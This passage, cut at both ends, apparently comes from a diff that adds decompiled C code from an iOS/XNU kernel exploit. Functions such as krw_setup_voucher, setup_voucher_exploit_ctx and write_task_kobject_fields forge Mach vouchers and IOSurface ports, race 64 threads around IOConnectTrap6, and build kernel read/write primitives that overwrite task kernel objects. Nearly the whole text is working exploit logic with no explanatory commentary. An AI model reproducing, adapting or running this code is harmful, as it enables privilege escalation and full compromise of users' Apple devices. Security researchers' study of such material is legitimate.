) + v25 = 1; + else + v25 = v21 == 2; + ++v21; + } + while ( !v25 ); + v26 = v24; + v27 = kread_u64_value(*(uint64_t *)a1, qword_480C8); + v39 = kread_u64_value(*(uint64_t *)a1, qword_480D0); + v58[0] = v26; + v28 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, uint64_t *))(**(uint64_t **)(a1 + 8) + 8LL))( + *(uint64_t *)(a1 + 8), + qword_480B0, + 1, + v58); + v50 = 1; + v29 = v44; + if ( v2 > 0x918C5A833FFLL ) + v29 = v42; + v37 = ((unsigned __int64)(v28 - v27) >> 13) & 0x7FFFFFFFFFFFELL; + v38 = v29; + v41 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64))(**(uint64_t **)(a1 + 8) + 16LL))( + *(uint64_t *)(a1 + 8), + qword_48080, + 28765); + v40 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64))(**(uint64_t **)(a1 + 8) + 16LL))( + *(uint64_t *)(a1 + 8), + qword_48088, + 28765); + v30 = 0; + *(uint32_t *)(a1 + 20) = mach_thread_self(); + do + { + v49[0] = _NSConcreteStackBlock; + v49[1] = 3221225472LL; + v49[2] = spin_wait_el0_via_ptr; + v49[3] = &unk_44918; + v49[4] = a1; + pthread_create((pthread_t *)&v58[v30++], 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2_v2, v49); + } + while ( v30 != 64 ); + v47[0] = _NSConcreteStackBlock; + v47[1] = 3221225472LL; + v47[2] = wait_thread_via_ptr; + v47[3] = &unk_44938; + v47[4] = a1; + v47[5] = &v50; + v31 = v44; + if ( v2 <= 0x918C5A833FFLL ) + v31 = v42; + v47[6] = v45 + 8; + v47[7] = v38; + v47[8] = v31; + v47[9] = 0; + v47[10] = v26; + v47[11] = v22; + pthread_create(&v48, 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2_v2, v47); + while ( (_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) & 0xFFC) == 0 ) + { + v32 = mach_thread_self(); + thread_switch(v32, 0, 0); + } + v50 = 0; + while ( (kread_u32_value(*(uint64_t *)a1, v37 + v39) & 0x8000) == 0 ) + ; + v33 = *((uint64_t *)&v53 + 1); + **((uint64_t **)&v53 + 1) = v45; + *(uint64_t *)(v33 + 8) = v40; + IOConnectTrap6(connect[0], 0, 0xBEE2u, 0, 0, 0, 0, 0); + v34 = 8; + do + { + v35 = *((uint64_t *)&v53 + 1); + **((uint64_t **)&v53 + 1) = qword_480C0; + *(uint64_t *)(v35 + 8) = v41; + IOConnectTrap6(connect[0], 0, v43, v4, 0x20u, v46, 0, 0); + --v34; + } + while ( v34 ); + while ( v50 != 2 ) + ; + *(uint64_t *)&v57 = v26; + *((uint64_t *)&v57 + 1) = (v22 + 0x3FFF) & 0xFFFFFFFFFFFFC000LL; + (*(void (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))( + *(uint64_t *)(a1 + 8), + qword_480A8, + 2, + &v57); + __dsb(0xFu); + (*(void (__fastcall **)(uint64_t, __int64, uint64_t, uint64_t))(**(uint64_t **)(a1 + 8) + 8LL))( + *(uint64_t *)(a1 + 8), + qword_48090, + 0, + 0); + v36 = 0; + *(uint32_t *)(a1 + 20) = 0; + do + pthread_join((pthread_t)v58[v36++], 0); + while ( v36 != 64 ); + pthread_join(v48, 0); + write_task_kobject_fields(a1, (__int64)connect); + return 0; +} +// 20: using guessed type segment_command_64 stru_20; + +//----- (000000000001BC54) ---------------------------------------------------- +__int64 __fastcall call_vtable_ptr_slot2_v2(__int64 a1) +{ + return (*(__int64 (**)(void))(a1 + 16))(); +} + +//----- (000000000001BC60) ---------------------------------------------------- +__int64 __fastcall spin_wait_el0_via_ptr(__int64 a1) +{ + return spin_wait_el0_transition(*(uint64_t *)(a1 + 32)); +} + +//----- (000000000001BC68) ---------------------------------------------------- +__int64 __fastcall wait_thread_via_ptr(__int64 a1) +{ + return wait_thread_ready(*(uint64_t *)(a1 + 32), (uint64_t **)(a1 + 40)); +} + +//----- (000000000001BC78) ---------------------------------------------------- +__int64 __fastcall get_task_vm_region_base(task_name_t a1) +{ + uint64_t *v3; // x20 + vm_size_t outsize; // [xsp+8h] [xbp-28h] BYREF + __int64 v5; // [xsp+10h] [xbp-20h] BYREF + __int64 v6; // [xsp+18h] [xbp-18h] BYREF + + if ( (unsigned int)get_task_vm_info_0(a1, &v6) ) + return 0; + v3 = (uint64_t *)(v6 + 40); + if ( mach_task_self_ == a1 ) + { + *v3 |= 1uLL; + } + else + { + if ( vm_read_overwrite(a1, v6 + 40, 8u, (vm_address_t)&v5, &outsize) ) + return 0; + v5 |= 1uLL; + if ( vm_write(a1, (vm_address_t)v3, (vm_offset_t)&v5, 8u) ) + return 0; + } + return 1; +} + +//----- (000000000001BD24) ---------------------------------------------------- +__int64 __fastcall get_task_vm_info_0(task_name_t a1, uint64_t *a2) +{ + __int64 result; // x0 + mach_msg_type_number_t task_info_outCnt; // [xsp+4h] [xbp-2Ch] BYREF + integer_t task_info_out[6]; // [xsp+8h] [xbp-28h] BYREF + + task_info_outCnt = 5; + result = task_info(a1, 0x11u, task_info_out, &task_info_outCnt); + if ( !(uint32_t)result ) + { + if ( *(uint64_t *)task_info_out ) + { + result = 0; + *a2 = *(uint64_t *)task_info_out; + } + else + { + return 5; + } + } + return result; +} + +//----- (000000000001BD80) ---------------------------------------------------- +__int64 __fastcall iosurface_enum_mach_port(__int64 a1, unsigned int a2) +{ + unsigned int v2; // w0 + unsigned int v3; // w19 + __int64 v5; // [xsp+8h] [xbp-18h] BYREF + + v2 = iosurface_id_to_index(a2); + if ( (v2 & 0x80000000) != 0 ) + return 0; + v3 = v2; + if ( (unsigned int)get_task_vm_info_0(mach_task_self_, &v5) ) + return 0; + if ( v3 <= 7 ) + return v5 + 4LL * (v3 + 6) + 232; + return 0; +} + +//----- (000000000001BDEC) ---------------------------------------------------- +__int64 __fastcall iosurface_id_to_index(unsigned int a1) +{ + if ( a1 > 0x19 ) + return 0xFFFFFFFFLL; + else + return kIOSurfaceIdToTaskVmInfoIndex[a1]; +} + +//----- (000000000001BE0C) ---------------------------------------------------- +__int64 __fastcall get_iosurface_mem_entry(struct_krwCtx *krwCtx, unsigned int a2, mach_port_name_t *a3) +{ + // struct_krwCtx *krwCtx; // x20 + mach_port_name_t *v6; // x0 + mach_port_name_t *v7; // x20 + mach_port_name_t v8; // w1 + kern_return_t v9; // w0 + __int64 result; // x0 + unsigned int v11; // w1 + unsigned __int64 v12; // [xsp+0h] [xbp-30h] BYREF + mach_port_name_t name; // [xsp+Ch] [xbp-24h] BYREF + + name = 0; + if ( krwCtx->xnuVersionPacked < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) ) + { + if ( voucher_create_mach_voucher(krwCtx, a2 + 0x1122334455667788LL, &name) ) + { +LABEL_7: + result = 0; + *a3 = name; + return result; + } + return 4097; + } + v6 = (mach_port_name_t *)iosurface_enum_mach_port(krwCtx, a2); + if ( v6 ) + { + v7 = v6; + v8 = *v6; + name = v8; + if ( v8 + 1 > 1 ) + goto LABEL_4; + v12 = 0; + if ( a2 - 19 >= 2 ) + { + if ( a2 != 16 ) + return 4097; + v11 = 11; + } + else + { + v11 = 12; + } + if ( (unsigned int)lookup_physmap_page_slot(krwCtx, v11, (__int64 *)&v12) && v12 ) + { + result = plist_elem_is_string_6(krwCtx, v12, &name); + if ( (uint32_t)result ) + return result; + if ( name + 1 >= 2 ) + { + v9 = mach_port_mod_refs(mach_task_self_, name, 0, 0xFFFF); + if ( v9 ) + return v9 | 0x80000000; + *v7 = name; + v8 = name; +LABEL_4: + v9 = mach_port_mod_refs(mach_task_self_, v8, 0, 1); + if ( v9 ) + return v9 | 0x80000000; + goto LABEL_7; + } + } + } + return 4097; +} + +//----- (000000000001BF68) ---------------------------------------------------- +__int64 __fastcall alloc_vm_page_mem_entry(struct_krwCtx *krwCtx, unsigned int a2, vm_size_t size, vm_address_t *address) +{ + __int64 v6; // x21 + kern_return_t v7; // w0 + mem_entry_name_port_t object; // [xsp+Ch] [xbp-24h] BYREF + + object = 0; + v6 = get_iosurface_mem_entry(krwCtx, a2, &object); + if ( !(uint32_t)v6 ) + { + if ( !address ) + { + v6 = 0; + goto LABEL_11; + } + v7 = vm_map(mach_task_self_, address, size, 0, 1, object, 0, 0, 3, 3, 2u); + if ( v7 ) + v6 = v7 | 0x80000000; + else + v6 = 0; + if ( !(uint32_t)v6 ) + goto LABEL_11; + } + if ( address && *address ) + { + vm_deallocate(mach_task_self_, *address, size); + *address = 0; + } +LABEL_11: + if ( object + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, object); + return v6; +} + +//----- (000000000001C058) ---------------------------------------------------- +__int64 __fastcall alloc_vm_page(struct_krwCtx *krwCtx) +{ + vm_size_t v2; // x20 + __int64 result; // x0 + vm_address_t v4; // [xsp+8h] [xbp-18h] BYREF + + v4 = 0; + v2 = vm_page_size; + if ( krwCtx->mappedKernelRegion && krwCtx->mappedKernelSize ) + return 0; + result = alloc_vm_page_mem_entry(krwCtx, 0x10u, vm_page_size, &v4); + if ( !(uint32_t)result ) + { + krwCtx->mappedKernelRegion = v4; + krwCtx->mappedKernelSize = v2; + } + return result; +} + +//----- (000000000001C0C8) ---------------------------------------------------- +bool __fastcall krw_setup_with_stat(struct_krwCtx *krwCtx, uint32_t *a2) +{ + unsigned __int64 v4; // x8 + __int64 v5; // x24 + __int64 v6; // x21 + ipc_voucher_t *v7; // x22 + __int32 *v8; // x25 + __int64 v9; // x27 + __int32 *v10; // x20 + int v11; // w8 + int v13; // w0 + unsigned __int64 v14; // x8 + __darwin_time_t tv_sec; // x22 + unsigned __int64 v16; // x8 + unsigned __int64 v17; // x22 + unsigned __int64 v18; // x8 + __int64 v19; // x22 + struct stat v20; // [xsp+0h] [xbp-110h] BYREF + int nullFd; // [xsp+94h] [xbp-7Ch] BYREF + __int32 v22[2]; // [xsp+98h] [xbp-78h] BYREF + __int64 v23; // [xsp+A0h] [xbp-70h] + uint64_t v24[2]; // [xsp+A8h] [xbp-68h] BYREF + + v24[0] = 0; + v24[1] = 0; + *(uint64_t *)v22 = -1; + v23 = -1; + nullFd = -1; + v4 = krwCtx->xnuVersionPacked; + if ( v4 > XNU_VERSION_PACKED(7195, 42, 0, 1023, 1023) && (krwCtx->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 ) + { + v5 = 3; + } + else if ( v4 > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) ) + { + v5 = 3; + } + else + { + v5 = 4; + } + if ( (unsigned int)fd_open_dev_null(&nullFd) ) + { +LABEL_14: + v10 = v22; + do + { + if ( *v10 != -1 ) + close(*v10); + ++v10; + --v5; + } + while ( v5 ); + v11 = 0; + } + else + { + v6 = 0x1122334455667788LL; + v7 = (ipc_voucher_t *)v24; + v8 = v22; + v9 = v5; + do + { + if ( !voucher_create_mach_voucher(krwCtx, v6, v7) ) + goto LABEL_13; + *v8 = j__fileport_makefd(*v7); + mach_port_deallocate(mach_task_self_, *v7); + *v7 = 0; + if ( *v8 < 0 ) + goto LABEL_13; + ++v6; + ++v7; + ++v8; + --v9; + } + while ( v9 ); + if ( (unsigned int)setup_two_fds(v22) ) + { +LABEL_13: + fd_close(nullFd); + goto LABEL_14; + } + v13 = v22[1]; + krwCtx->krw_pipe_0 = v22[0]; + krwCtx->krw_pipe_1 = v13; + v14 = krwCtx->xnuVersionPacked; + if ( v14 > XNU_VERSION_PACKED(7195, 42, 0, 1023, 1023) && ((krwCtx->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || v14 > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023)) ) + krwCtx->iosurfaceFd_size4 = v23; + else + krwCtx->pipeFd0 = v23; + if ( !fstat(v13, &v20) ) + { + tv_sec = v20.st_atimespec.tv_sec; + if ( validate_kaddr_range(krwCtx, v20.st_atimespec.tv_sec) ) + krwCtx->gap_0x19D0_size8 = tv_sec; + v16 = krwCtx->xnuVersionPacked; + if ( v16 > XNU_VERSION_PACKED(7195, 42, 0, 1023, 1023) && ((krwCtx->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || v16 > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023)) ) + { + v17 = v20.st_atimespec.tv_nsec | 0xFFFFFF0000000000LL; + if ( validate_kaddr_range(krwCtx, v20.st_atimespec.tv_nsec | 0xFFFFFF0000000000LL) ) + krwCtx->gap_0x218 = v17; + v18 = ((unsigned __int64)v20.st_atimespec.tv_nsec >> 40) * krwCtx->pageSizeOrSomething; + if ( v18 && (krwCtx->pageMask & v18) == 0 ) + krwCtx->gap_0x19E0_size8 = v18; + if ( krwCtx->krw_pipe_0 != -1 && krwCtx->krw_pipe_1 != -1 && krwCtx->iosurfaceFd_size4 != -1 ) + { + if ( krwCtx->gap_0x218 ) + { + if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(7195, 100, 326, 0, 0) && !(unsigned int)alloc_vm_page(krwCtx) ) + { + v19 = *(uint64_t *)(krwCtx->mappedKernelRegion + 256LL); + if ( validate_kaddr_range(krwCtx, v19) ) + krwCtx->gap_0x220 = v19; + } + } + } + } + else if ( v20.st_atimespec.tv_nsec && (krwCtx->pageMask & v20.st_atimespec.tv_nsec) == 0 ) + { + krwCtx->gap_0x19E0_size8 = v20.st_atimespec.tv_nsec; + } + } + fd_read_test(&krwCtx->krw_pipe_0); + fd_close(nullFd); + v11 = 1; + } + *a2 = v11; + return true; +} + +//----- (000000000001C3EC) ---------------------------------------------------- +bool __fastcall krw_setup_ports_vm(struct_krwCtx *krwCtx, uint32_t *a2) +{ + vm_size_t v4; // x20 + int v5; // w8 + bool result; // w0 + __int64 v7; // x24 + ipc_voucher_t *v8; // x22 + mach_port_name_t *v9; // x0 + mach_port_name_t v10; // w1 + __int64 i; // x21 + mach_port_name_t v12; // w1 + int v13; // w21 + bool v14; // zf + __int64 v15; // x22 + __int64 v16; // x22 + __int64 v17; // x22 + int v18; // w24 + unsigned __int64 v19; // x0 + mach_port_t v20; // w9 + vm_size_t v21; // x8 + bool v22; // cf + int v23; // [xsp+14h] [xbp-7Ch] BYREF + vm_address_t v24; // [xsp+18h] [xbp-78h] BYREF + vm_address_t address; // [xsp+20h] [xbp-70h] BYREF + __int128 v26; // [xsp+28h] [xbp-68h] + mach_port_t connection[2]; // [xsp+38h] [xbp-58h] BYREF + mem_entry_name_port_t object; // [xsp+40h] [xbp-50h] + + object = 0; + *(uint64_t *)connection = 0; + address = 0; + v4 = vm_page_size; + v24 = 0; + v23 = -1; + v5 = fd_open_dev_null(&v23); + result = false; + if ( !v5 ) + { + v7 = -3; + v8 = connection; + do + { + if ( krwCtx->xnuVersionPacked < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) ) + { + result = voucher_create_mach_voucher(krwCtx, v7 + 0x312233445566778BLL, v8) != 0; + if ( !result ) + break; + if ( *v8 + 1 < 2 ) + goto LABEL_16; + } + else + { + v9 = (mach_port_name_t *)iosurface_enum_mach_port(krwCtx, (int)v7 + 3); + if ( !v9 ) + goto LABEL_16; + v10 = *v9; + *v8 = *v9; + if ( v10 + 1 < 2 ) + goto LABEL_16; + result = mach_port_mod_refs(mach_task_self_, v10, 0, 1); + if ( (uint32_t)result ) + goto LABEL_16; + } + ++v8; + v22 = __CFADD__(v7++, 1); + } + while ( !v22 ); + if ( (krwCtx->xnuMajorVersion > 8791 || IOConnectCallMethod(connection[1], 0x3E7u, 0, 0, 0, 0, 0, 0, 0, 0) == -536870201) + && !vm_map(mach_task_self_, &address, v4, 0, 1, connection[0], 0, 0, 3, 3, 2u) + && !vm_map(mach_task_self_, &v24, v4, 0, 1, object, 0, 0, 3, 3, 2u) ) + { + v15 = *(uint64_t *)v24; + if ( validate_kaddr_range(krwCtx, *(uint64_t *)v24) ) + { + krwCtx->gap_0x19D0_size8 = v15; + v16 = *(uint64_t *)(v24 + 8); + if ( validate_kaddr_range(krwCtx, v16) ) + { + krwCtx->ioConnectKernelValue = v16; + v17 = *(unsigned int *)(v24 + 16); + v18 = *(uint32_t *)(v24 + 20); + v19 = krw_xpac_vaddr_2(krwCtx, *(uint64_t *)(address + v17)); + if ( validate_kaddr_range(krwCtx, v19) ) + { + v20 = connection[0]; + krwCtx->ioConnectPort = connection[1]; + krwCtx->ioConnectMappedAddr = address; + krwCtx->ioConnectMappedSize = v4; + krwCtx->ioConnectMemPort = v20; + krwCtx->ioConnectDataSize = v18; + krwCtx->ioConnectDataOffset = v17; + fd_close(v23); + v13 = 1; + goto LABEL_24; + } + v26 = 0u; + if ( v4 ) + { + v21 = 0; + do + { + v14 = v26 == *(__int128 *)(address + v21); + v21 = (unsigned int)(v21 + 16); + v22 = !v14 || v21 >= v4; + } + while ( !v22 ); + } + } + } + } +LABEL_16: + fd_close(v23); + if ( address && v4 ) + vm_deallocate(mach_task_self_, address, v4); + for ( i = 0; i != 3; ++i ) + { + v12 = connection[i]; + if ( v12 + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, v12); + } + v13 = 0; +LABEL_24: + if ( v24 ) + v14 = v4 == 0; + else + v14 = 1; + if ( !v14 ) + vm_deallocate(mach_task_self_, v24, v4); + *a2 = v13; + return true; + } + return result; +} + +//----- (000000000001C720) ---------------------------------------------------- +__int64 __fastcall setup_voucher_exploit_ctx(struct_krwCtx *krwCtx, unsigned int *a2, unsigned int a3) +{ + __int64 result; // x0 + int xnuMajorVersion; // w8 + __int64 v8; // x22 + unsigned __int64 v10; // x23 + __int64 v11; // x24 + unsigned __int64 v12; // x22 + int v13; // w8 + __int64 v14; // x20 + int v15; // [xsp+0h] [xbp-40h] BYREF + uint8_t v16[4]; // [xsp+4h] [xbp-3Ch] BYREF + unsigned __int64 v17; // [xsp+8h] [xbp-38h] BYREF + + result = 0; + xnuMajorVersion = krwCtx->xnuMajorVersion; + v8 = 56; + if ( xnuMajorVersion <= 8018 ) + { + if ( xnuMajorVersion != 6153 && xnuMajorVersion != 7195 ) + return result; + } + else if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 ) + { + if ( xnuMajorVersion != 8792 ) + return result; + v8 = 48; + } + result = task_self_get_ipc_port(krwCtx, *a2); + if ( result ) + { + v10 = result; + result = kread_u32(krwCtx, result, &v15); + if ( (uint32_t)result ) + { + if ( (v15 & 0x3FF) != 0x25 ) + return 0; + result = maybe_ipc_port_get_kobject(krwCtx, v10); + if ( result ) + { + v11 = result; + v12 = result + v8; + v13 = kread_physmap_decorated(krwCtx, v12, &v17); + result = 0; + if ( v13 && v10 == v17 ) + { + result = kread_u32(krwCtx, v11 + 8, v16); + if ( (uint32_t)result ) + { + result = noppl_kwrite32(krwCtx, v11 + 8, 0xFFFF); + if ( (uint32_t)result ) + { + if ( mach_port_deallocate(mach_task_self_, *a2) ) + return 0; + *a2 = 0; + result = task_self_get_ipc_port(krwCtx, a3); + if ( result ) + { + v14 = result; + result = kwrite64(krwCtx, v12, result); + if ( (uint32_t)result ) + { + kread_and_vm_attr_double(krwCtx, v14); + return 1; + } + } + } + } + } + } + } + } + return result; +} + +//----- (000000000001C8B0) ---------------------------------------------------- +__int64 __fastcall alloc_iosurface_mach_port(struct_krwCtx *krwCtx, unsigned int a2, unsigned int a3) +{ + __int64 v6; // x0 + uint32_t *v7; // x21 + __int64 v8; // x0 + __int64 v9; // x23 + __int64 v10; // x22 + unsigned int v11; // w22 + kern_return_t v12; // w0 + __int64 v14; // [xsp+0h] [xbp-40h] BYREF + mach_port_name_t name; // [xsp+Ch] [xbp-34h] BYREF + + name = 0; + if ( krwCtx->xnuVersionPacked < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) ) + { + if ( voucher_create_mach_voucher(krwCtx, a2 + 0x1122334455667788LL, &name) + && (unsigned int)setup_voucher_exploit_ctx(krwCtx, &name, a3) ) + { + goto LABEL_9; + } + } + else + { + v14 = 0; + v6 = iosurface_enum_mach_port(krwCtx, a2); + if ( v6 ) + { + v7 = (uint32_t *)v6; + v8 = task_self_get_ipc_port(krwCtx, a3); + if ( !v8 ) + { + v10 = 163854; + goto LABEL_19; + } + v9 = v8; + v10 = kread_and_vm_attr_double(krwCtx, v8); + if ( (uint32_t)v10 ) + goto LABEL_19; + if ( a2 - 19 >= 2 ) + { + if ( a2 != 16 ) + { +LABEL_16: + v12 = mach_port_mod_refs(mach_task_self_, a3, 0, 0xFFFF); + if ( v12 ) + { + v10 = v12 | 0x80000000; + goto LABEL_19; + } + *v7 = a3; +LABEL_9: + v10 = 0; + goto LABEL_19; + } + v11 = 11; + } + else + { + v11 = 12; + } + if ( (unsigned int)lookup_physmap_page_slot(krwCtx, v11, &v14) && (v14 || (unsigned int)cache_physmap_page_slot(krwCtx, v11, v9)) ) + goto LABEL_16; + } + } + v10 = 4097; +LABEL_19: + if ( name + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, name); + return v10; +} + +//----- (000000000001CA3C) ---------------------------------------------------- +__int64 __fastcall insert_mach_port_send_right(struct_krwCtx *krwCtx, task_name_t a2, unsigned int a3, __int64 a4, unsigned int a5) +{ + __int64 v5; // x21 + __int64 v6; // x22 + __int64 v10; // x25 + __int64 v11; // x26 + __int64 v12; // x24 + unsigned int v13; // w1 + int inserted; // w0 + __int64 v15; // x23 + __int64 v16; // x25 + char *v17; // x22 + unsigned int v18; // w0 + unsigned int v19; // w0 + kern_return_t v20; // w0 + mach_port_t *v22; // x23 + uint32_t *v23; // x26 + mach_port_t v24; // w22 + uint64_t *v25; // x23 + unsigned int v26; // w0 + unsigned int v27; // w0 + char v29; // [xsp+14h] [xbp-8Ch] + mach_vm_size_t outsize; // [xsp+18h] [xbp-88h] BYREF + __int64 v31; // [xsp+20h] [xbp-80h] BYREF + uint64_t v32[2]; // [xsp+28h] [xbp-78h] BYREF + uint64_t v33[2]; // [xsp+38h] [xbp-68h] BYREF + + if ( krwCtx->xnuVersionPacked < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) ) + return 0; + LODWORD(v5) = a3; + if ( a3 - 1 > 3 ) + return 708609; + v10 = 0; + v11 = 163857; + v33[0] = 0; + v33[1] = 0; + v12 = a3; + v6 = 163848; + do + { + if ( a4 ) + v13 = *(uint32_t *)(a4 + 4 * v10); + else + v13 = v10; + uint64_t a1 = iosurface_enum_mach_port(krwCtx, v13); + if ( !a1 ) + return 4097; + if ( (unsigned int)(*(uint32_t *)a1 + 1) <= 1 && ((a5 >> v10) & 1) != 0 ) + return v6; + *((uint32_t *)v33 + v10++) = *(uint32_t *)a1; + } + while ( (unsigned int)v5 != v10 ); + inserted = get_task_vm_info_0(a2, &v31); + if ( inserted ) + return inserted | 0x80000000; + v15 = 0; + v29 = 0; + v32[0] = 0; + v32[1] = 0; + v16 = v31 + 232; +LABEL_16: + v17 = (char *)v32 + 4 * v15; + do + { + if ( a4 ) + v18 = *(uint32_t *)(a4 + 4 * v15); + else + v18 = v15; + v19 = iosurface_id_to_index(v18); + if ( v19 > 7 ) + return v11; + v20 = mach_vm_read_overwrite(a2, v16 + 4LL * (v19 + 6), 4u, (mach_vm_address_t)v17, &outsize); + if ( v20 ) + return v20 | 0x80000000; + if ( (unsigned int)(*((uint32_t *)v32 + v15) + 1) <= 1 && (unsigned int)(*((uint32_t *)v33 + v15) + 1) >= 2 ) + { + v29 = 1; + if ( (unsigned int)v5 - 1LL != v15++ ) + goto LABEL_16; + goto LABEL_32; + } + ++v15; + v17 += 4; + } + while ( (unsigned int)v5 != v15 ); + if ( (v29 & 1) == 0 ) + return 0; +LABEL_32: + v22 = (mach_port_t *)v33; + v23 = v32; + do + { + LODWORD(outsize) = 0; + v24 = *v22; + if ( *v22 + 1 >= 2 ) + { + inserted = mach_port_allocate(a2, 1u, (mach_port_name_t *)&outsize); + if ( inserted ) + return inserted | 0x80000000; + inserted = mach_port_mod_refs(a2, outsize, 1u, -1); + if ( inserted ) + return inserted | 0x80000000; + inserted = mach_port_insert_right(a2, outsize, v24, 0x13u); + if ( inserted ) + return inserted | 0x80000000; + inserted = mach_port_mod_refs(a2, outsize, 0, 0xFFFF); + if ( inserted ) + return inserted | 0x80000000; + *v23 = outsize; + } + ++v22; + ++v23; + --v12; + } + while ( v12 ); + v25 = v32; + if ( (unsigned int)v5 <= 1 ) + v5 = 1; + else + v5 = (unsigned int)v5; + while ( 1 ) + { + v26 = a4 ? *(uint32_t *)(a4 + 4 * v12) : v12; + v27 = iosurface_id_to_index(v26); + if ( v27 > 7 ) + break; + inserted = mach_vm_write(a2, v16 + 4LL * (v27 + 6), (vm_offset_t)v25, 4u); + if ( inserted ) + return inserted | 0x80000000; + v6 = 0; + ++v12; + v25 = (uint64_t *)((char *)v25 + 4); + if ( v5 == v12 ) + return v6; + } + return 163857; +} + +//----- (000000000001CD34) ---------------------------------------------------- +__int64 __fastcall mementry_iosurface_port_alloc(struct_krwCtx *krwCtx, unsigned int a2, vm_size_t size, vm_offset_t offset, vm_address_t *a5) +{ + int v10; // w25 + vm_offset_t v11; // x2 + kern_return_t memory_entry; // w0 + __int64 v13; // x22 + kern_return_t v14; // w0 + bool v15; // zf + vm_size_t sizea; // [xsp+18h] [xbp-58h] BYREF + mem_entry_name_port_t object_handle; // [xsp+24h] [xbp-4Ch] BYREF + vm_address_t address; // [xsp+28h] [xbp-48h] BYREF + + address = offset; + object_handle = 0; + sizea = size; + v10 = offset == 0; + v11 = offset; + if ( !offset ) + { + v14 = vm_allocate(mach_task_self_, &address, size, 1); + if ( v14 ) + { + v10 = 0; + v13 = v14 | 0x80000000; + goto LABEL_19; + } + v11 = address; + } + memory_entry = mach_make_memory_entry(mach_task_self_, &sizea, v11, 3, &object_handle, 0); + if ( memory_entry ) + { +LABEL_3: + v13 = memory_entry | 0x80000000; + goto LABEL_12; + } + if ( sizea == size ) + { + v13 = alloc_iosurface_mach_port(krwCtx, a2, object_handle); + if ( (uint32_t)v13 || offset ) + goto LABEL_12; + memory_entry = vm_map(mach_task_self_, a5, size, 0, 1, object_handle, 0, 0, 3, 3, 2u); + if ( !memory_entry ) + { + bzero((void *)*a5, size); + v13 = 0; + goto LABEL_19; + } + goto LABEL_3; + } + v13 = 708642; +LABEL_12: + if ( (uint32_t)v13 ) + v15 = offset == 0; + else + v15 = 0; + if ( v15 && *a5 ) + vm_deallocate(mach_task_self_, *a5, size); +LABEL_19: + if ( object_handle + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, object_handle); + if ( v10 ) + vm_deallocate(mach_task_self_, address, size); + return v13; +} + +//----- (000000000001CEC4) ---------------------------------------------------- +__int64 __fastcall alloc_vm_page_v2(struct_krwCtx *krwCtx) +{ + __int64 result; // x0 + vm_size_t v3; // x9 + vm_address_t v4; // [xsp+8h] [xbp-18h] BYREF + + v4 = 0; + result = mementry_iosurface_port_alloc(krwCtx, 0x10u, vm_page_size, 0, &v4); + if ( !(uint32_t)result ) + { + v3 = vm_page_size; + krwCtx->mappedKernelRegion = v4; + krwCtx->mappedKernelSize = v3; + } + return result; +} + +//----- (000000000001CF1C) ---------------------------------------------------- +bool __fastcall krw_setup_voucher(struct_krwCtx *krwCtx) +{ + __int64 v2; // x20 + bool result; // w0 + uint32_t v4; // w8 + uint32_t v5; // w8 + __int64 v6; // x9 + __int64 v7; // x10 + unsigned __int64 v8; // x22 + __int64 v9; // x24 + int v10; // w8 + unsigned __int64 v11; // x8 + unsigned __int64 v12; // x1 + unsigned __int64 v13; // x2 + unsigned __int64 portKaddr; // x0 + __int64 v14; // [xsp+8h] [xbp-88h] BYREF + mach_port_name_t name; // [xsp+10h] [xbp-80h] BYREF + int v16; // [xsp+14h] [xbp-7Ch] BYREF + uint32_t v17[4]; // [xsp+18h] [xbp-78h] + ipc_voucher_t v18[4]; // [xsp+28h] [xbp-68h] BYREF + + v2 = 0x1122334455667788LL; + result = voucher_create_mach_voucher(krwCtx, 0x1122334455667788LL, v18) != 0; + if ( result ) + { + portKaddr = task_self_get_ipc_port(krwCtx, v18[0]); + result = portKaddr != 0; + if ( result ) + { + result = kread_u32(krwCtx, portKaddr, &v16); + if ( result ) + { + if ( (v16 & 0x3FF) == 0x22 ) + { + return true; + } + else + { + result = false; + v4 = krwCtx->krw_pipe_1; + v17[0] = krwCtx->krw_pipe_0; + v17[1] = v4; + if ( v17[0] != -1 && v4 != -1 ) + { + v5 = krwCtx->iosurfaceFd; + if ( v5 != -1 && krwCtx->gap_0x218 ) + { + v6 = 3; + v7 = 2; +LABEL_13: + v8 = 0; + v17[v7] = v5; + v9 = 4 * v6; + while ( 1 ) + { + name = 0; + if ( voucher_create_mach_voucher(krwCtx, v2, &v18[v8 / 4]) + && !(unsigned int)j__fileport_makeport(v17[v8 / 4], &name) ) + { + if ( !v8 && !(unsigned int)get_task_bsd_info_kaddr(krwCtx, name, &v14) ) + { + v10 = krwCtx->xnuMajorVersion; + if ( (unsigned int)(v10 - 8019) >= 2 && v10 != 8792 && v10 != 7195 ) + return false; + kwrite_physmap_with_a3_ptr(krwCtx, v14 + 280, krwCtx->gap_0x19D0); + v11 = krwCtx->xnuVersionPacked; + if ( v11 >= XNU_VERSION_PACKED(7195, 42, 1, 0, 0) && ((krwCtx->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || v11 >= XNU_VERSION_PACKED(8019, 0, 0, 0, 0)) ) + { + v13 = (krwCtx->gap_0x218 & 0xFFFFFFFFFFLL) + | ((unsigned __int64)(unsigned int)(krwCtx->slideMaybe / (unsigned int)krwCtx->pageSizeOrSomething) << 40); + v12 = v14 + 